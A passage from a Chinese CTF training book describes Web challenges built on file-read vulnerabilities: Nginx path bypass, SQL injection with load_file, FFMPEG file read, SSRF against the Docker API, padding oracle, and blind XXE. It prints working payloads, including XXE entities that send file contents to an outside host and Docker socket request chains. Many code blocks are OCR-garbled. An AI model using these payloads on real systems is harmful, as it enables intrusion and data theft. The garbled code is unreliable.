（6）cron_run.sh所执行的是发送邮件的Python脚本，其中泄露了邮箱账号、密码。

```
# coding: utf-8
import smtplib from email. mime. text import MIMEText mail_user = ' ctf_dicha@21cn. com'
mail_pass = '634DRaC62ehwK6Xmail_server =' smtp.21cn. com'
mail_port =465
```

（7）通过泄漏的邮箱信息登录，在邮箱中继续发现泄露的VPN账号密码，见图1-3-14。（8）通过VPN登录内网，发现内网存在一个以Nginx为容器并且可读flag的应用，但是访问该应用会发现只显示Oh Hacked，而没有其他输出。同一IP下其他端口存在一个以Apache为容器的Discuz！X 3.4应用。

```
$flag = "xxxxxxxx; include ' safe. php'; ifC$_REQUEST[' passwd']=' jiajiajiajiajia'){
echo $flag;
}
```

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wNOHmXvV-1632131824097)
(/uploads/l1215484545/images/m_8548148e1d2afef6de360ec4c638c0af_r.png)]

【题目难度】中等。
【知识点】Nginx存在漏洞导致未授权访问目录，进而导致文件读取漏洞；构造存在软链接文件的压缩包，上传压缩包读取文件；Discuz！X 3.4任意文件删除漏洞。
【解题思路】扫描目录发现.DS_Store（MacOS下默认会自动生成的文件，主要作用为记录目录下的文件摆放位置，所以里面会存有文件名等信息），解析.DS_Store文件发现当前目录下的所有目录和文件。

```
from ds_store import Dsstore with DSStore. open("Ds_store", "r+") as f: for i in f: print i
```

发现upload目录名最后多了一个空格，想到可利用Nginx解析漏洞（CVE-2013-4547）绕过pwnhub目录的权限限制。原理是通过Nginx解析漏洞，让Nginx配置文件中的正则表达式/pwnhub匹配失败，见图1-3-15。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cN4Jd3Gj-1632131824098)
(/uploads/l1215484545/images/m_4822b0cc9a0a4dda5cea7eb994fb7fec_r.png)]
在/pwnhub目录下存在一个同级目录，其中存在PHP文件。请求该PHP文件，发现存在一个上传表单，见图1-3-16。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M7gl4e88-1632131824098)
(/uploads/l1215484545/images/m_ab2da021ef5397c1000762034d18cf4d_r.png)]
通过该PHP文件上传TAR格式的压缩包文件，发现应用会将上传的压缩包自动解压（tarfile.open），于是可以先在本地通过命令ln-s构造好软链接文件，修改文件名为xxx.cfg，再利用tar命令压缩。上传该TAR压缩包后会将链接指向文件内容进行输出，见图1-3-17。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Oi0APBtm-1632131824099)
(/uploads/l1215484545/images/m_85510f031f03b35108c5d4ce32592132_r.png)]
读取/etc/crontab发现，在crontab中启动了一个奇怪的定时任务：[插图]读取crontab中调用的sh脚本，发现内部运行了一个Python脚本；接着读取该Python脚本获得泄露的邮箱账号和密码，登录这个邮箱，获取泄露的VPN账号和密码，见图1-3-18。成功连接VPN后，对VPN所属内网进行扫描，发现部署的Discuz！X 3.4应用和读flag的应用。依据题目简介中所叙述的内容进行猜测，需要删除safe.php才能读到flag，于是利用Discuz！X 3.4任意文件删除漏洞删除safe.php，见图1-3-19。【总结】①题目流程较长，参赛人员应有清晰的思路。②除了Nginx因配置内容设置不当导致的目录穿越，其自身也存在历史漏洞可以进行信息泄露。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zjAXaY1t-1632131824100)
(/uploads/l1215484545/images/m_b4192b54372894dffe1d1879d9471ecf_r.png)]
通过构造软链接实现文件读取的题目还有很多，如34c3CTF的extract0r，这里不详细介绍，解题思路见图1-3-20。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MGGmjVFA-1632131824100)
(/uploads/l1215484545/images/m_15ff985592f4dc891ff0c515b7e1b7c1_r.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Y07l9uhu-1632131824101)
(/uploads/l1215484545/images/m_b052a9fe0c87601c63f309e4512d2793_r.png)]

1.3.3.9 Comment（网鼎杯2018线上赛）

【题目简介】开始是个登录页面，见图1-3-21。在题目网站中发现存在.git目录，通过GitHack工具可以还原出程序的源代码，对还原出的源代码进行审计，发现存在二次注入，见图1-3-22。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9oW9bN9L-1632131824102)
(/uploads/l1215484545/images/m_d62f4628725891386f07f808c6ef37db_r.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7zGgUjDj-1632131824102)
(/uploads/l1215484545/images/m_d0609a621ed026f8ab87b1a14b721523_r.png)]
【题目难度】中等。【知识点】.git目录未删除导致的源码泄露；二次注入（MySQL）；通过注入漏洞（load_file）读取文件内容（.bash_history->.DS_Store->flag）。【解题思路】打开BurpSuite对登录的流量进行抓包，使用BurpSuite自带的Intruder模块爆破密码后3字节，爆破的参数设置见图1-3-23。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZYP3Qimo-1632131824103)
(/uploads/l1215484545/images/m_7febe947382be453415a7d5cfa482b3f_r.png)]
通过git目录泄露还原出应用源代码，通过审计源码发现SQL注入（二次注入），对注入漏洞进行利用，但是发现数据库中没有flag；尝试使用load_file读取/etc/passwd文件内容，成功，则记录用户名www及其workdir：/home/www/；读取/home/www/.bash_history，发现服务器的历史命令：

```
cd /tmp/
unzip html.ziprm -f html.zip cp -r html /var/www/
cd /var/www/html/
rm-f .Ds_store service apache2 start
```

根据.bash_history文件内容的提示，读取/tmp/.DS_Store，发现并读取flag文件flag_8946e1ff1ee3e40f.php（注意这里需要将load_file结果进行编码，如使用MySQL的hex函数）。【总结】本题是一个典型的文件读取利用链，在能利用MySQL注入后，需要通过.bash_history泄露更多的目录信息，然后利用搜集到的信息再次读取。

1.3.3.10 方舟计划（CISCN 2017）

【题目简介】题目存在注册、登录的功能。使用管理员账号登录后可上传AVI文件，并且将上传的AVI文件自动转换成MP4文件。【题目难度】简单。【知识点】使用内联注释绕过SQL注入WAF；FFMPEG任意文件读取。【解题思路】遇到存在登录及注册功能并且普通注册用户登录系统后无功能的CTFWeb题目时，先尝试注入，通过黑盒测试，发现注册阶段存在INSERT注入漏洞，在深入利用时会发现存在WAF，接着使用内联注释绕过WAF（*/！50001select/*），见图1-3-24。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O6EglnAU-1632131824103)
(/uploads/l1215484545/images/m_cd29d1bea4e0c3c7c0eb7c8db3c79336_r.png)]
通过该注入漏洞继续获取数据，可以得到管理员账号、加密后的密码、加密所用密钥（secret_key），通过AES解密获取明文密码。利用注入得到的用户名和密码登录管理员账号，发现在管理员页面存在一个视频格式转化的功能，猜测题目的考查内容是FFMPEG的任意文件读取漏洞。利用已知的exploit脚本生成恶意AVI文件并上传，下载转化后的视频，播放视频可发现能成功读取到文件内容（/etc/passwd），见图1-3-25。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0yBU9ZX9-1632131824104)
(/uploads/l1215484545/images/m_8ab0df18be77da8cab9a1d938f7fab1a_r.png)]

根据/etc/passwd的文件内容，发现存在名为s0m3b0dy的用户，猜测flag在其用户目录下，即/home/s0m3b0dy/flag（.txt）；继续通过FFMPEG文件读取漏洞读取flag，发现成功获得flag，见图1-3-26。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0DUwaN37-1632131824104)
(/uploads/l1215484545/images/m_c536abf9d9e9a066f1ef63a3bdeb88ce_r.png)]
【总结】①本题使用了一个比较典型的绕过SQL注入WAF的方法（内联注释）。②本题紧跟热点漏洞，且读文件的效果比较新颖、有趣。FFMPEG任意文件读取漏洞的原理主要是HLS（HTTP Live Streaming）协议支持File协议，导致可以读取文件到视频中。另一个比较有特色的文件读取呈现效果的比赛是2018年南京邮电大学校赛，题目使用PHP动态生成图片，在利用时可将文件读取漏洞读到的文件内容贴合到图片上，见图1-3-27。

```
return $value:
}
function check emoji name ($value).
if (! preg_match (' /[a7zA-20-9] (1,20)/, val return $value; unction and str ($leng th-16) {
N=
wsxedcrfvtgbyhnu jmiklop0987654321, srandm NULL))
$s for ($10ilength sit) t
$san, stten($1i)-1)]: Feturn S)
```

1.3.3.11 PrintMD（RealWorldCTF 2018线上赛）

【题目简介】题目提供的功能可将在线编辑器Markdown（hackmd）的内容渲染成可打印的形式。渲染方式分为客户端本地渲染、服务端远程渲染。客户端可以进行本地调试，服务端远程渲染部分的代码如下：

```
//render.js const{Router}= require（'express'）
const{matchesUA）= require（'browserslist-useragent'）
const router = Router（）
const axios = require（'axios'）
const md = require（'../../plugins/md-srv'）
router.post（'/render'，function（req，res，next）
Let ret = t）
ret.ssr =！ matchesUA（req.body.ua，browsers：["last 1 version"，"> 1%"，"IE 10"],
_allowHigherVersions：true
））；if（ret.ssr）
axios（req.body.url）.then（r =>{ret.mdbody =md.render（r.data）
res.json（ret）
else{
ret.mdbody =md.render（'#请稍候.）
res.json（ret）
））；module.exports = router iEtteti query.urt endswithc/domntoa0
```

服务端配备Docker环境，并且启动了Docker服务。flag在服务器上的路径为/flag。
【题目难度】难。【知识点】JavaScript对象污染；axios SSRF（UNIX Socket）攻击Docker API读取本地文件。
【解题思路】审计客户端被Webpack混淆的代码，找到应用中与服务端通信相关的逻辑，对混淆过的代码进行反混淆。得到的源代码如下：

```
validate: function(e) t return e. query. url && e. query. url. startswith("https://hackmd. io/")
}, asyncData: function(ctx)
if(! ctx. query. url. endswith("/download"))
ctx. query. url +="/download"; ctx. query. ua = ctx. req. headers["user-agent"] 11 ""; return axios. post("/api/render", qs. stringify(t... ctx. query))
). then(function(e) (
return
...e. data, url: ctx. query. url
)),, mounted: function() {
if (! this. ssr)
axios(this. url). then(function(t)
this. mdbody =md. render(t. data)
```

接着利用HTTP参数污染可以绕过startsWith的限制，同时对req.body.url（服务端）进行对象污染，使服务端axios在请求时被传入socketPath及url等参数。再通过SSRF漏洞攻击Docker API，将/flag拉入Docker容器，调用Docker API读取Docker内文件。具体的攻击流程如下。①拉取轻量级镜像docker pull alpine：latest=>：

```
url [method]=post
&url [url]-http://127.0.0.1/images/create?fromImage-alpine: latest
&url[socketPath]=/var/run/docker. sock
&url=https://hackmd.io/aaa
```

②创建容器docker create-v/flag:/flagindocker alpine–entrypoint"/bin/sh"–name ctf alpine：latest=>：

```
url [method]=post
&url[url]=http://127.0.0.1/containers/create?name=ctf
&url [data] [Image]-alpine: latest
&url [data] [Volumes] [flag] [path]=/flagindocker
&url [data] [Binds][]=/flag:/flagindocker:ro
&url [data] [Entrypoint] []=/bin/sh
&url [socketPath]=/var/run/docker. sock
&url=https://hackmd.io/aaa
```

启动容器docker start ctf：
url [method]-post
&url[url]=http://127.0.0.1/containers/ctf/start
&url[socketPath]=/var/run/docker. sock
&url=https://hackmd.io/aaa
读取Docker的文件archive：
url [method]-get
&url [url]=http://127.0.0.1/containers/ctf/archive?path=/flagindocker url[socketPath]=/var/run/docker. sock
&url-https://hackmd.io/aaa
【总结】题目考查的点十分细腻、新颖，由于axios不支持File协议，因此需要参赛者利用SSRF控制服务端的其他应用来进行文件读取。类似axios模块这样可以进行UNIX Socket通信的还有curl组件。

1.3.3.12 粗心的佳佳（PWNHUB）

【题目简介】入口提供了一个Drupal前台，通过搜集信息，发现服务器的23端口开了FTP服务，并且FTP服务存在弱口令，使用弱口令登录FTP后在FTP目录下发现存在Drupal插件源码，并且Drupal插件中存在SQL注入漏洞，同时在内网中存在一台Windows计算机，开启了80端口（Web服务）。
【题目难度】中等。
【知识点】Padding Oracle Attack；Drupal 8.x反序列化漏洞；Windows PHP本地文件包含/读取的特殊利用技巧。
【解题思路】根据题目提示，对FTP登录口令进行暴力破解，发现FTP存在弱口令登录，通过FTP服务可以下载Drupal插件源码。通过对下载到的插件源码进行审计，发现存在SQL注入漏洞，但是用户的输入需要通过AES-CBC模式解密，才会被代入SQL语句。

```
private function set_decrypt($id){
  if($c =Base64decode (Base64decode($id)))
    {
      if($iv = substr($c, e, 16))
        {
          if($pass = substr($c,17))
            {
              ifCSu = openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW DATA, $iv))
                {
                  return $u;
                }
              else die("hacker?");
            }
          else return 1;
      else return 1;
   else return 1;

public function get_by_id (Request $request)
    $nid = $request->get(' id');
    $nid = sthis->set_decrypt($nid);
    //echo $nid;
    $this->waf($nid);
    $query = db_query "SELECT nid, title, body_value FROM node_field_data left JOIN node_body oN node_field_data. nid=node__body. entit
y_id WHERE nid =($nid)")->fetchAssocO);
    return array('# title' => $this->t($queryt' title'),
'# markup' => '<p>' . $this->t($query[' body-value']).'</p>',);
```

通过审计加密的流程，发现可以通过padding oracle attack伪造SQL注入语句的密文，见图1-3-28，继续利用SQL注入漏洞注入得到用户的邮箱和邮箱密码，见图1-3-29。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XFx7G5lX-1632131824105)
(/uploads/l1215484545/images/m_75c498991d8c2cf9007b10d2b02b055c_r.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4a4F6VGm-1632131824105)
(/uploads/l1215484545/images/m_8a43e0407dc127a449e556defea7dece_r.png)]
利用注入得到的邮箱信息进行登录，在邮箱中得到泄露的在线文档地址，打开后恢复历史版本，发现admin密码。利用恢复得到的admin密码登录Drupal后台，结合后台的信息判断出Drupal对应的版本，发现存在反序列化漏洞。构造反序列化payload进行Getshell，phpinfo函数的执行结果见图1-3-30。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P2wJJkKE-1632131824106)
(/uploads/l1215484545/images/m_015d3055c41e67084344ec31cae24ae5_r.png)]

Getshell后，对服务器所在的内网进行扫描，发现存在Windows主机并且开启了Web服务，经过简单测试，发现任意文件包含漏洞。测试文件包含的漏洞会发现存在一定的WAF，即不能输入正常上传的文件名，使用“<”作为文件名通配符绕过WAF，如“123333<.txt”。【总结】Padding Oracle Attack是Web中常见的Web安全结合密码学的攻击方式，需要熟练掌握，相关细节读者可参考本书第3章第3节。Windows PHP文件包含/读取可以使用通配符，当我们不知道目录下的文件名或WAF设置了一定的规则进行拦截时，就可以利用通配符的技巧进行文件读取。具体对应正则通配符规则如下：Windows下，“>”相当于正则通配符的“？”，“<”相当于“*”，“”“相当于“.”。

1.3.3.13 教育机构（强网杯2018线上赛）

【题目简介】题目存在一个评论框，评论框支持XML语法，可造成XXE；配置文件中存放着一半flag；内网存在一个Web服务。
【题目难度】中等。
【知识点】利用XXE漏洞读取文件，进行SSRF攻击。
【解题思路】通过对网站应用目录进行扫描，发现网站的.idea/workspace.xml泄露，在workspace.xml的内容中有一段XML调用实体的变量被注释。而题目只有comment一个输入点，于是测试是否存在XXE漏洞（输入XML头部“<？xmlversion="1.0"encoding=“utf-8”？>”，可观察到返回包存在报错），见图1-3-31。通过相应内容中报错显示的simplexml_load_string函数，基本确认了XXE漏洞的存在，接着尝试构造远程实体调用实现Blind XXE的利用。构造的利用数据如下：

```
<! ENTITY % payload SYSTEM "php://filter/read=convert. Base64-encode/resource=/etc/passwd">
<! ENTITY % int "<! ENTITY &#37; trick SYSTEM ' http://ip/test/? xxe_local=% payload; '>">
int; strick;
```

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HfKaJ6rP-1632131824106)(/uploads/l1215484545/images/m_d5f86a1cd62681bdf37387ad2336c985_r.png)]

根据测试XXE是否存在时的报错内容可以发现Web目录位置，利用XXE漏洞读取Web应用的源码，发现在config.php文件中存在着一半的flag内容。

```
#/var/www/52dandan. cc/public-htmL/config. php
<? php define(SECRETFILE, '/var/www/52dandan. com/public_html/youwilLneverknowthisfile_e2cd3614b63ccdcbfe7c
8f07376fe431');
?>
# youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431
Ok, you get the first part of flag: 5bdd3bebalfcb4o then you can do more to get more part of flag
```

然后在本机寻找另一半flag，以失败告终。猜测另一半的flag内容在内网中，于是依次读取/etc/host、/proc/net/arp，发现存在内网IP：192.168.223.18。利用XXE漏洞访问192.168.223.18的80端口（也可以进行端口扫描，这里直接猜测常见端口），发现192.168.223.18主机存在Web服务且存在SQL注入。利用盲注注入获得flag的另一半。

```
<! ENTITY % payload SYSTEM "http://192.168.223.18/test. php? shop-3'-(case%a0when((1) Like(1)) then(0) elLse(1) end)-'1">
<! ENTITY % int "<! ENTITY &#37; trick SYSTEM ' http://ip/test/? xxe_local=% payload; '>">
int; ttrick;
```

【总结】本题考查的是PHP XXE漏洞的文件读取利用方法，不同语言的XML扩展支持的协议可能不同。PHP十分有特色地保留了PHP协议，所以可以用Base64这个Filter编码读取到的文件内容，避免由于“&”“<”等特殊字符截断BlindXXE，导致漏洞利用失败。

1.3.3.14 Magic Tunnel（RealworldCTF 2018线下赛）

【题目简介】使用Django框架搭建Web服务，会使用pycurl去请求用户传入的链接。请求链接部分的源码如下：

```
def download(self, url):
try: c = pycurl. CurLC)
c. setopt(pycurl. URL, url)
c. setopt(pycurl. TIMEOUT, 10)
response = c. perform_rb()
c. close()
except pycurl. error: response = b return response
```

【题目难度】较难。【知识点】通过SSRF漏洞对uwsgi进行攻击。【解题思路】通过文件读取漏洞去读取file:///proc/mounts文件，可以看到Docker目录挂载情况，见图1-3-32。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fhg39MTi-1632131824107)(/uploads/l1215484545/images/m_7e181c2b5688e2aea8cef71037a7f94e_r.png)]

在成功找到目录后，就可以通过文件读取漏洞读取整个应用的源代码，通过服务器的server.sh文件的内容，可知Web应用使用uwsgi启动（也可以通过读取/proc/self/cmdline获知这些信息）。server.sh文件的内容如下：

```
#!/bin/sh BASE_DIR=$(pwd)
./manage. py collectstatic --no-input
./manage. py migrate --no-input exec uwsgi--socket e.0.0.0:8000--module rwctf. wsgi--chdir $(BASE_DIR)--uid nobody --gid nogroup
--cheaper-algo spare --cheaper 2--cheaper-initial 4 --workers 10 --cheaper-step 1
```

通过SSRF漏洞，利用Gopher协议攻击uwsgi（注入SCRIPT_NAME运行恶意Python脚本或直接使用EXEC执行系统命令）。
【总结】本题需要通过File协议进行任意文件读取，完成对服务器的信息搜集，即通过/proc/mounts泄露应用路径，从而获知如何进行下一步的文件读取。

1.3.3.15 Can you find me？（WHUCTF 2019，武汉大学校赛）

【题目简介】题目中存在一处较明显的文件包含漏洞，但是已知信息是flag在相对路径…/…/flag处，并且在利用文件包含漏洞时发现存在WAF，禁止进行相对路径跳转。

```
<? php error_reporting（o）；
#system（'cat../../../flag'）；
$file_name = s_GET['file']；if（preg-match（'/.\./'，$file_name）！== 0）
die（"<hl>文件名不能有...'</h1>"）；
}
```

【题目难度】简单。
【知识点】PHP文件包含漏洞。
【解题思路】通过读取Apache配置文件找到Web目录，见图1-3-33。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ERRGzBt4-1632131824108)(/uploads/l1215484545/images/m_9bcb45b70401d176c4a20b61488a4713_r.png)]
已知Web目录后，可直接通过Web目录构造flag文件的绝对路径，绕过相对路径的限制，读取flag，见图1-3-34。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CHKnsGqd-1632131824108)(/uploads/l1215484545/images/m_0989a6e6289ea6bdeb8f76d5823571d5_r.png)]
【总结】这是一道经典的文件读取类型的题目，主要考查参赛者对于Web配置文件信息搜集的能力，需要通过读取Apache配置文件发现Web目录，通过构造绝对路径，绕过相对路径的限制，完成flag文件的读取。

小结

在CTF的Web类题目中，信息搜集、SQL注入、任意文件读取漏洞是最常见、最基础的漏洞。我们在比赛中遇到Web类型的题目时，可以优先尝试发现题目中是否含有上述Web漏洞，并完成题目的解答。第2章和第3章将从“进阶”和“拓展”层次介绍Web类题目中涉及的其他常见漏洞，“进阶”层次涉及的Web漏洞需要读者具备一定的基础、经验，比“入门”层次涉及的漏洞更复杂，技术点更多；“拓展”层次则更多地涉及Web类题目涉及的一些特性问题，如Python的安全问题等。